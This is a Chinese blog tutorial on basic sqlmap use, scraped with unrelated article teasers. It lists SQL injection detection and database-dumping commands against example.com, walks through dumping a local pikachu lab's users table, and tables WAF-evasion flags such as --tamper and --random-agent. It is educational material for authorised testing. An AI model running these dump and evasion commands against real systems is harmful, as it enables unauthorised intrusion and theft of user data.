news 2026/5/26 16:14:28

SQL注入-sqlmap的基础使用

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SQL注入-sqlmap的基础使用

SQL注入-sqlmap的基础使用

⚠️法律声明
本文内容仅供网络安全技术学习与授权测试。任何未经授权使用文中技术的行为均属违法。
作者不承担任何因使用者违法行为导致的后果。请严格遵守法律法规,合法使用技术。
“知识无罪,使用者的选择决定一切。”

sqlmap 是一款开源的自动化 SQL 注入检测与利用工具,用 Python 编写。它能够自动识别目标网站或数据库中的 SQL 注入漏洞,并提供数据提取、文件读写、命令执行等高级利用功能。(本文使用kali中自带的sqlmap,如需要在windows平台使用,可在github中免费获取)

主要特点:

  • 支持多种数据库:MySQL、Oracle、SQL Server、PostgreSQL 等
  • 多种注入技术:布尔盲注、时间盲注、报错注入、联合查询、堆叠查询等
  • 自动探测:自动识别注入点、数据库类型、权限等
  • 功能丰富:数据脱库、读写文件、获取 shell、绕过 WAF 等
  • 可扩展:支持自定义 Payload 和 Tamper 脚本

常用命令

检测URL是否存在SQL注入 sqlmap -u "http://example.com/page?id=1" 批量检测URL是否存在SQL注入(urls文件为rul列表,一行一个) sqlmap -m urls.txt --batch 从文件中读取请求(含Cookie、Header等) sqlmap -r request.txt 使用POST方式提交数据 sqlmap -u "http://example.com/login" --data="user=admin&pass=123" 获取所有数据库名 sqlmap -u "http://example.com/page?id=1" --dbs 获取当前数据库名 sqlmap -u "http://example.com/page?id=1" --current-db 获取指定数据库的所有表名 sqlmap -u "http://example.com/page?id=1" -D database_name --tables 获取指定表的所有列名 sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --columns 获取指定列的所有数据 sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name -C username --dump

pikachu靶场案例

打开本地搭建好的靶场(也可以使用网络上公开的靶场)

打开burp代理,开启抓包

抓到后,确保被捕获的包是你想要的

这里照顾linux基础薄弱的师傅,直接进行创建文件,清晰易懂,不使用命令行。

在kali中创建文本文件,把抓到的数据包的数据复制到里面,保存(需注意,本地靶场的host不要用127.0.0.1

输入以下命令,得到结果,使用MySQL数据库且版本大于5.0 Apache2.4.23版本 PHP5.4.45版本

输入以下命令,得到所有数据库

输入以下命令,得到pikachu数据库的所有表

输入以下命令,得到pikachu数据库的users表的所有列

输入以下命令,得到pikachu数据库的users表的password和username列的数据

至此完成拖库,后续不再进行

扩展参数

绕过防御类(WAF/IPS/防火墙)

功能

参数

说明

延时躲避

--delay=2

每次请求间隔2秒,防频率封禁

随机User-Agent

--random-agent

每次请求换UA,避免特征识别

代理轮换

--proxy="http://127.0.0.1:8080"

配合Burp/代理池使用

请求伪装

--referer="https://google.com"

伪造来源页面

自定义逃逸脚本

--tamper=space2comment

绕过WAF关键字检测(内置几十种脚本)

参数污染

--hpp

HTTP参数污染,绕过某些WAF

win中使用sqlmap基础语法

# 1. 获取服务器信息,包括操作系统、数据库、web容器、后端语言 python sqlmap.py -u url # 2. 获取数据库名称列表 python sqlmap.py -u url -dbs # 3. 获取当前数据库名称 python sqlmap.py -u url --current-db # 4. 获取当前数据库中所有表的名称 python sqlmap.py -u url -D 数据库名 --tables # 5. 获取当前数据库指定的表的字段名 python sqlmap.py -u url -D 数据库名 -T 表名 --columns # 6. 获取指定库指定表指定字段的值 python sqlmap.py -u url -D 数据库名 -T 表名 -C 字段名1,字段名2... --dump
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/26 16:14:12

STM32F4 HAL库驱动W25Q256:从硬件焊接到软件调试的完整实践

1. W25Q256闪存芯片与STM32F4硬件连接实战 W25Q256是Winbond推出的一款256Mb(32MB)容量的SPI接口闪存芯片,采用WSON-8封装。这种封装的特点是焊盘位于芯片底部,两侧仅露出少量引脚,中间还有大面积散热焊盘。第一次接触…

作者头像 李华
网站建设 2026/5/26 16:13:26

东方博宜OJ 2391:子串位置 ← s1.find(s2,p)

【题目来源】 https://oj.czos.cn/p/2391 【题目描述】 给定一个父字符串 s 和子字符串 p,请按照从前向后的顺序,请求出 p 在 s 中所有出现的起始位置。 例如:SABADABCEABABA,PABA,则求解的结果是:1 9 11。…

作者头像 李华
网站建设 2026/5/26 16:12:23

5步掌握U-Net图像分割:如何用Keras实现深度学习医学影像分析?

5步掌握U-Net图像分割:如何用Keras实现深度学习医学影像分析? 【免费下载链接】unet unet for image segmentation 项目地址: https://gitcode.com/gh_mirrors/un/unet 在医学图像分析领域,U-Net图像分割技术已经成为细胞膜识别、器官…

作者头像 李华
网站建设 2026/5/26 16:11:17

紧急通知:2024下半年起,全球27所高校已启用AI学术行为动态监测系统——你的ChatGPT使用方式正在被审计!

更多请点击: https://codechina.net 第一章:ChatGPT学术研究应用的范式迁移与伦理边界 大型语言模型正深刻重构学术研究的知识生产逻辑。传统依赖人工检索、精读、归纳的线性研究流程,正被“提示工程驱动—多源生成—批判性验证”的闭环所替…

作者头像 李华
网站建设 2026/5/26 16:11:03

VNC连接CentOS 7桌面一片灰?手把手教你排查Xfce4启动失败的5个坑

VNC连接CentOS 7桌面一片灰?手把手教你排查Xfce4启动失败的5个坑当你满心欢喜地在CentOS 7上配置好VNC服务器,准备远程连接Xfce4桌面环境时,却发现屏幕上只有一片灰色背景和一个孤零零的鼠标指针——这种挫败感,相信很多Linux用户…

作者头像 李华